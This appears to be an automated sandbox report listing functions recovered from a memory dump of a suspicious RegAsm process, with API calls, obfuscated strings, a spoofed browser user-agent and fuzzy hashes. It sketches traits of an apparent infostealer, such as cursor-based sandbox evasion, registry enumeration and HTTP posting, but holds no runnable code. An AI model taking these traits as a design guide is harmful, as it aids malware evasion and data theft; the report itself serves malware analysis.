Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: dfb1846fb410fce2d0f3ec7992ef31c330d7a99f4678bf6e897381acb73f8dfc
Instruction ID: 76545cefedcf0f882da335e4038d0771dff4b3793334e29289a3aa2004b31255
Opcode Fuzzy Hash: dfb1846fb410fce2d0f3ec7992ef31c330d7a99f4678bf6e897381acb73f8dfc
Instruction Fuzzy Hash: AD13F370D052688FCB29DB68CC91BEDBBB5BF49304F0481DAD50AA7252DB346E85CF58

Function 00442970 Relevance: 11.3, APIs: 4, Strings: 2, Instructions: 789
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053F1AA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1B5
Part of subcall function 0053F1AA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1EF

__aulldiv.LIBCMT ref: 00442C37
RegEnumKeyExA.KERNEL32(?,00000000,?,00000104,00000000,00000000,00000000,00000000,00000000,eks), ref: 00442E60
RegOpenKeyExA.KERNEL32(80000001,?,00000000,?,?), ref: 00442CE9

Part of subcall function 0053F159: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA73,?,00431732,00591F6C), ref: 0053F163
Part of subcall function 0053F159: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F196
Part of subcall function 0053F159: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F1A1

Strings

eks, xrefs: 00442A54, 00442D2C, 004432C8, 00443303, 00443506, 00443541
j3l6lrek, xrefs: 00442AE9, 00442B24, 00442DC1, 00442DFC, 004433AA, 004433E5, 004435E8, 00443623

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionEnumOpenVariableWake__aulldiv
String ID: eks$j3l6lrek
API String ID: 2427947366-388657971
Opcode ID: 3f0675bb4c535833c6f468245dbea5e839bf6a7e5b26bdd6d05c683e3aad7e6f
Instruction ID: 08fac814bacb05f198c375bebecb25a3a60c5f102c261e7047808d5fa7220acc
Opcode Fuzzy Hash: 3f0675bb4c535833c6f468245dbea5e839bf6a7e5b26bdd6d05c683e3aad7e6f
Instruction Fuzzy Hash: BE822270D042289FEB24CFA5C995BEEBBB1BF49304F1081DAE509A7281DB746E85CF54

Function 00440F20 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053F1AA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1B5
Part of subcall function 0053F1AA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1EF

Part of subcall function 0053F159: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA73,?,00431732,00591F6C), ref: 0053F163
Part of subcall function 0053F159: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F196
Part of subcall function 0053F159: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F1A1

__aulldiv.LIBCMT ref: 00441245
__aulldiv.LIBCMT ref: 004412B9

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__fread_nolock.LIBCMT ref: 0044144F

Strings

"P@, xrefs: 00441070
eks, xrefs: 004412FA, 00441329
j3l6lrek, xrefs: 004413B8, 004413E7

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock__aulldiv$AcquireRelease$ConditionVariableWake__fread_nolock
String ID: "P@$eks$j3l6lrek
API String ID: 577242060-2889650871
Opcode ID: 88a21bc0bd6572afdedf39331dd302007d51b9a2b7114fd5d74510ff3bf516f9
Instruction ID: 8ab3c6f68b34b0ba270dd6dfddb089e98b0f822792d892a9adaacf0b1e0c687c
Opcode Fuzzy Hash: 88a21bc0bd6572afdedf39331dd302007d51b9a2b7114fd5d74510ff3bf516f9
Instruction Fuzzy Hash: 0AF16C71E002189FEB14DFA4DC51BEEBBB1BF88304F14819AE509A7351D7346A85CF65

Function 00433130 Relevance: 9.3, APIs: 6, Instructions: 343
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCursorPos.USER32(?), ref: 00433143
GetCursorPos.USER32(?), ref: 0043315A
Sleep.KERNEL32(?), ref: 00433310
GetCursorPos.USER32(?), ref: 0043331A
__aulldiv.LIBCMT ref: 004333FD
Sleep.KERNEL32(?), ref: 004335E5

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Cursor$Sleep$__aulldiv
String ID:
API String ID: 1481957275-0
Opcode ID: 4366ffaee9367ffea03055b95ab056999a8278ba8b74c1802e438da7f2f8d238
Instruction ID: 670f10937d811d812307df241510028ea0fda929e8b4377b911cd561125e0c45
Opcode Fuzzy Hash: 4366ffaee9367ffea03055b95ab056999a8278ba8b74c1802e438da7f2f8d238
Instruction Fuzzy Hash: B9F1C574E042189FDB14CF98D890BAEBBB2FF89304F14819AE819A7345D734AA85CF55

Function 0050CCE0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 135
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(00000000,00000000,aaj38,?), ref: 0050CE40
GetProcessHeap.KERNEL32(00000008,-00000001,00000000,aaj38,?), ref: 0050CE63
HeapAlloc.KERNEL32(00000000), ref: 0050CE6A
lstrcpynA.KERNEL32(00000000,00000000,00000000), ref: 0050CE7F

Strings

38a49, xrefs: 0050CDF2, 0050CE21
aaj38, xrefs: 0050CD49, 0050CD78

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocProcesslstrcpynlstrlen
String ID: 38a49$aaj38
API String ID: 2211197272-4103302207
Opcode ID: 448a550449d46fdc8ba7afc04d09575f33fbd3f77e041197c805c10ca7feb4f5
Instruction ID: 08bbaa513fa62d9cccc12bc81a3fcce503bc0ea032a3d737ebf7e79e91738d23
Opcode Fuzzy Hash: 448a550449d46fdc8ba7afc04d09575f33fbd3f77e041197c805c10ca7feb4f5
Instruction Fuzzy Hash: 435103B1D04248AFCF04DFE4D898BEEBFB1BF49304F108169E506AB281C7755A85CB94

Function 0042C670 Relevance: 7.8, APIs: 5, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000001), ref: 0042C6C2
GetLastError.KERNEL32 ref: 0042C6D2
__aulldiv.LIBCMT ref: 0042C732
__aulldiv.LIBCMT ref: 0042C80F
__aulldiv.LIBCMT ref: 0042C935

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$AttributesErrorFileLast
String ID:
API String ID: 3597693367-0
Opcode ID: 1083ba72d6f9da74ff1a1281b331befb0be83b02e0f84e54cb495f8206f5af21
Instruction ID: 45c6bf80a9a4236fa5f333371ff9548f82703451e4799d120c0b858235f38910
Opcode Fuzzy Hash: 1083ba72d6f9da74ff1a1281b331befb0be83b02e0f84e54cb495f8206f5af21
Instruction Fuzzy Hash: B6A16FB1E04218AFEB24CFA4DC81B9EBBB5BB88714F118169E908B7384D7386D41CF55

Function 0050CA00 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 218networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0050C6E0: InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050C734

InternetOpenUrlA.WININET(00000000,00000002,00000000,00000000,80000000,00000000), ref: 0050CB13
InternetCloseHandle.WININET(00000000), ref: 0050CCA7

Strings

{, xrefs: 0050CBD1

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$Open$CloseHandle
String ID: {
API String ID: 3289985339-366298937
Opcode ID: 72c89d0deed0a441a999497de95daab5c3724120d9b3ae71b9a47c57a93df974
Instruction ID: 4ce0df4eb4c6b84b648c5da0d1d41232108de021786f986a04df3d20874892ae
Opcode Fuzzy Hash: 72c89d0deed0a441a999497de95daab5c3724120d9b3ae71b9a47c57a93df974
Instruction Fuzzy Hash: F8A1E1B0D00209DFDB04CFA8C895BEEBFB5BF49304F248659E515AB281D774AA45CFA4

Function 00427210 Relevance: 7.2, APIs: 2, Strings: 1, Instructions: 1923libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00424730: __aulldiv.LIBCMT ref: 00424AC6

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0042902A
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004291CF

Strings

Ju||i, xrefs: 004274E5

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad$__aulldiv
String ID: Ju||i
API String ID: 898380398-1653578089
Opcode ID: 8745cb1ceed82f05b992489eba330a7df14f11b7e072391ca8ee3f29851edf64
Instruction ID: 01edd34a2ff59f6ba276b9c765401dc00774b313d148437bcfa790f6f3787f76
Opcode Fuzzy Hash: 8745cb1ceed82f05b992489eba330a7df14f11b7e072391ca8ee3f29851edf64
Instruction Fuzzy Hash: 4A232870E052688FDB25CF68DC90BEEBBB1BF4A308F1481DAD449AB342D6355A85CF54

Function 00434B20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00434BBD
__aulldiv.LIBCMT ref: 00434C77

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 00434CA4, 00434CD8

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: Content-Type: application/x-www-form-urlencoded
API String ID: 3732870572-2811858139
Opcode ID: 18d5b9beba2140ea9d8a79387bcaeb54fcf25cb39f1b9adfa145700a3c69558f
Instruction ID: 9ac544591481852ff1f24b66d42fc835acbe24e5fb17347bccd30f052ea243d4
Opcode Fuzzy Hash: 18d5b9beba2140ea9d8a79387bcaeb54fcf25cb39f1b9adfa145700a3c69558f
Instruction Fuzzy Hash: EF613AB1E00208ABDB14DFA9DC55BEEBBB5FF88304F108129E509BB380DB346945CB95

Function 0051CBD0 Relevance: 4.6, APIs: 3, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 0051CC5E
GetLastError.KERNEL32 ref: 0051CC9F
SetLastError.KERNEL32(?,?,00000000,00000001,00000028,?,00000000,00000001,00000008), ref: 0051CD44

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$HandleModule
String ID:
API String ID: 1090667551-0
Opcode ID: bb15006e30f6fc4ad114c43c02281f78c9b151033810da23866ffd457616cdb5
Instruction ID: 97641b7349625e1fc39116a3fc008556c34bd63661c16a7afda32eddf8c500ec
Opcode Fuzzy Hash: bb15006e30f6fc4ad114c43c02281f78c9b151033810da23866ffd457616cdb5
Instruction Fuzzy Hash: 5451FFB5E08288AFDF04DBF99C45AEEBFF56F49200F0484AEF555E7282E53846048B61

Function 0051CE70 Relevance: 3.2, APIs: 2, Instructions: 150COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(000005B6), ref: 0051CF1F
GetModuleHandleA.KERNEL32(00000000), ref: 0051CFFE

Part of subcall function 0053F1AA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1B5
Part of subcall function 0053F1AA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1EF

Part of subcall function 0051CBD0: GetModuleHandleA.KERNEL32(00000000), ref: 0051CC5E
Part of subcall function 0051CBD0: GetLastError.KERNEL32 ref: 0051CC9F

Part of subcall function 0053F159: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA73,?,00431732,00591F6C), ref: 0053F163
Part of subcall function 0053F159: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F196
Part of subcall function 0053F159: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F1A1

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireErrorHandleLastModuleRelease$ConditionVariableWake
String ID:
API String ID: 1192564941-0
Opcode ID: 3c61142d6a529783f9a7f44b10c1c23837b253fa439514407c0f05a29478219e
Instruction ID: da503e9b5a87a20e2105babc717d57e8608aa471fe1d2307e044f11a65867f3d
Opcode Fuzzy Hash: 3c61142d6a529783f9a7f44b10c1c23837b253fa439514407c0f05a29478219e
Instruction Fuzzy Hash: EA51D1B5D04259AFDB04EBF8D845AEFBFB5BB58300F04416AF456A3282EA345A04CB71

Function 0053EE6E Relevance: 1.7, APIs: 1, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0053F4A9

Part of subcall function 005419D1: RaiseException.KERNEL32(E06D7363,00000001,00000003,0053F492,?,?,?,?,0053F492,?,00589EB8), ref: 00541A31

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise
String ID:
API String ID: 1477838251-0
Opcode ID: e1731ebaf9c9286b43d05d9ca5bf63736d23aafcd07e72bce60f484c2a9b04f9
Instruction ID: b756088b79cdc6fcb9611e60ec5426cb90f3622610dc80278f53a7cb6555a18f
Opcode Fuzzy Hash: e1731ebaf9c9286b43d05d9ca5bf63736d23aafcd07e72bce60f484c2a9b04f9
Instruction Fuzzy Hash: 4C616E71D01709DBEB14CFA8E8867AABBF8FB58310F24853AD815E72A1D3749948DB50

Function 0050C6E0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 255
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050C734
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,00000000,00000000,?,00000000,?,?), ref: 0050C858

Strings

6~swr, xrefs: 0050C800

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Open$HttpInternetRequest
String ID: 6~swr
API String ID: 3438448461-3949020348
Opcode ID: a88b0c43ac1a490c4bf373b180905e63d4eef659a6c38b8be00db8ed448ef9b6
Instruction ID: 70100715baefbb30c352a620779e01e1d808f730c1b61b37c7f171706527f41a
Opcode Fuzzy Hash: a88b0c43ac1a490c4bf373b180905e63d4eef659a6c38b8be00db8ed448ef9b6
Instruction Fuzzy Hash: 7FB1F6B4E00208EFEB14CFA4C895BEEBBB5FB49304F108559E505AB281D779AA05CF94

Function 005584D2 Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e435fbe6e5c3a679a91dfe9a823a3dad20eb66d7fc31304da5faf88fc3d29ed
Instruction ID: 262db4f49929ea17d8601a280de0a5c79875f4d3884bb4c56c2f73198716848e
Opcode Fuzzy Hash: 5e435fbe6e5c3a679a91dfe9a823a3dad20eb66d7fc31304da5faf88fc3d29ed
Instruction Fuzzy Hash: 8CB12274A00245AFDF10CFA8C8A5BBD7FB1FF59305F24414AE805AB292CB71994ACF60

Function 00432B60 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00432880: __aulldiv.LIBCMT ref: 0043293C

Part of subcall function 00416D40: std::ios_base::clear.LIBCPMTD ref: 00416E67

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432C16

Part of subcall function 004141F0: std::ios_base::clear.LIBCPMTD ref: 00414372

Part of subcall function 00414120: std::ios_base::clear.LIBCPMTD ref: 0041417E

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432D01
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432D32

Strings

`@, xrefs: 00432C0C, 00432CF7, 00432D28
`XA, xrefs: 00432C03, 00432CEE, 00432D1F

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_std::ios_base::clear$__aulldiv
String ID: `XA$`@
API String ID: 3845869555-3161672447
Opcode ID: 3be4e94092fbc97bf5c2871780405c665e384c0e12239df973384683e768a773
Instruction ID: f157f0d26c0302d6d38241ffe430d893d0c54141c1b3792623e3cbfa9e0c2486
Opcode Fuzzy Hash: 3be4e94092fbc97bf5c2871780405c665e384c0e12239df973384683e768a773
Instruction Fuzzy Hash: 2051E8B0A042484BDF04DFA4D5957FEBFB1AF46300F20506AD5056B391D7B99E80CB94

Function 00432880 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 206COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0043293C

Strings

eks, xrefs: 00432973, 004329A2
D6&, xrefs: 00432AAE
j3l6lrek, xrefs: 00432A31, 00432A60

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: D6&$eks$j3l6lrek
API String ID: 3732870572-3526828890
Opcode ID: 6f60af346a4d1eb37a1ab2123764005bdb36db85557dc665f9f7e21cfae2c4ea
Instruction ID: c84ca28e98123b79676576f89e03ed95eb2bf0e324ecca63c0ae73cc3441d6ca
Opcode Fuzzy Hash: 6f60af346a4d1eb37a1ab2123764005bdb36db85557dc665f9f7e21cfae2c4ea
Instruction Fuzzy Hash: 2EA113B0D042589FDB24DFA9C990BEEBBB1BF48304F1081AAD409BB341DB746A85CF55

Function 0050CEC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36, xrefs: 0050CFF8

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
API String ID: 0-1672990099
Opcode ID: 22ac8b770a0c5b5ade4f012e70590c874fee75a44238219b1bd8116c53655f3c
Instruction ID: f93c088db4f20a7e8dad6e9c5f3f14d83450d20c26dbc89e4a15c216d380c2bb
Opcode Fuzzy Hash: 22ac8b770a0c5b5ade4f012e70590c874fee75a44238219b1bd8116c53655f3c
Instruction Fuzzy Hash: 8F51D3B4E00209ABDB08DFD9D895BEEBBF5BF89304F108119E915A7384D7346A41CF90

Function 00416D40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00416E67

Strings

WA, xrefs: 00416DEB
`XA, xrefs: 00416D73

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID: WA$`XA
API String ID: 1443086396-855112263
Opcode ID: fd6d3b38f9fdb5634df08d7e797737518ec3e3351e89a693b8f25bb325a5dc12
Instruction ID: e51bc9c54a42b8ef1cd12b3b9bd65c72ed8b49a9321af47167c83bb76f7294a1
Opcode Fuzzy Hash: fd6d3b38f9fdb5634df08d7e797737518ec3e3351e89a693b8f25bb325a5dc12
Instruction Fuzzy Hash: 2241E874A04209EFDB04CF99C891BAEBBB1FF88304F108199E5456B391C775AE81CF94

Function 0050BD60 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 150COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0050BDEF

Strings

-2L, xrefs: 0050BE0C, 0050BE40
-1L, xrefs: 0050BF1D

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast
String ID: -1L$-2L
API String ID: 1452528299-3975959154
Opcode ID: d906eacbf53bd6ea69bf6e5ba00ac1b5de07542a0e1b8c7bc0926cbd86bdfdf0
Instruction ID: 70aacba8afa5fca2be74a231ee15d976f3b6a6c99dc4215d1cbc0018f8aaf362
Opcode Fuzzy Hash: d906eacbf53bd6ea69bf6e5ba00ac1b5de07542a0e1b8c7bc0926cbd86bdfdf0
Instruction Fuzzy Hash: 1B510770E0020DAFDF14DFA9D896AEEBBB1FF48300F108559E505AB390DB74AA45CB94

Function 0041F8A0 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000001), ref: 0041F8D4
_com_issue_error.COMSUPP ref: 0041F8F2
_com_issue_error.COMSUPP ref: 0041F91B

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error$AllocString
String ID:
API String ID: 245909816-0
Opcode ID: 60f96119b3f1f1225493a60fcb554a1f2a65cb0d002695143f2e4972317d4efb
Instruction ID: 65e3a0a1e415d60e8b2d00511d3e314293ad63d9ec2b3dcbed55108a80a78f6b
Opcode Fuzzy Hash: 60f96119b3f1f1225493a60fcb554a1f2a65cb0d002695143f2e4972317d4efb
Instruction Fuzzy Hash: 5F11D7B4D00208FFDB00EF94C549B9DBBB1EF44304F2081A9E8096B391D779AE89DB85

Function 0055046E Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00550468,00000000,0054BD3A,?,?,7A18E7C2,0054BD3A,?), ref: 0055047F
TerminateProcess.KERNEL32(00000000,?,00550468,00000000,0054BD3A,?,?,7A18E7C2,0054BD3A,?), ref: 00550486
ExitProcess.KERNEL32 ref: 00550498

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1be82f418c8225fefb6aeb59f33d53f3388f4d89d608f9ef7fe15704087c396f
Instruction ID: aa5f3a27579e3a5c9fed78bbcc659cea81a5e218e8ff5e6d7102a2a3e87ec567
Opcode Fuzzy Hash: 1be82f418c8225fefb6aeb59f33d53f3388f4d89d608f9ef7fe15704087c396f
Instruction Fuzzy Hash: 58D05E31000108FBCF003F64DC0D86D3F29BF80352B408011FE4947172DB728949EA90

Function 0042C9B0 Relevance: 3.2, APIs: 2, Instructions: 228COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042CAD5
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000007,00000000), ref: 0042CC48

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CreateDirectory
String ID:
API String ID: 1884557851-0
Opcode ID: 63c9a8843da7b2b59c2d90ecac6770badc03f6e8931883944bbf89dd0ccdf7d1
Instruction ID: afeadb30498c5ab13120cd22a2933b3bd008f1ae64185923c6379854b51f491d
Opcode Fuzzy Hash: 63c9a8843da7b2b59c2d90ecac6770badc03f6e8931883944bbf89dd0ccdf7d1
Instruction Fuzzy Hash: B5A136B1E002189FDB14CFA9D891BEEBBB5FF88304F1480AAE509A7341DB346A45CF55

Function 0055934B Relevance: 3.2, APIs: 2, Instructions: 196fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00558A61: GetConsoleOutputCP.KERNEL32(7A18E7C2,00000000,00000000,00000000), ref: 00558AC4

WriteFile.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,0000000C,?,00000000,00589A50,00000014,0054FE94,00000000,00000000,00000000), ref: 005594D0
GetLastError.KERNEL32(?,00000000), ref: 005594DA

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 201f97af174688d1bfe5719fbeb33e38c261d8ff65e2259391ef7a08be0b4f04
Instruction ID: dc8fb06cd764f7ca6f03b1cbbda3dabd1d8fa8bfd74c1d61bf9c8262dcc75208
Opcode Fuzzy Hash: 201f97af174688d1bfe5719fbeb33e38c261d8ff65e2259391ef7a08be0b4f04
Instruction Fuzzy Hash: C0619EB180411AEFDF11CFA8C894AEEBFB9BF49305F150546EC04A7252D739D91ADBA0

Function 00413370 Relevance: 3.2, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004134A2
__fread_nolock.LIBCMT ref: 004134F2

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
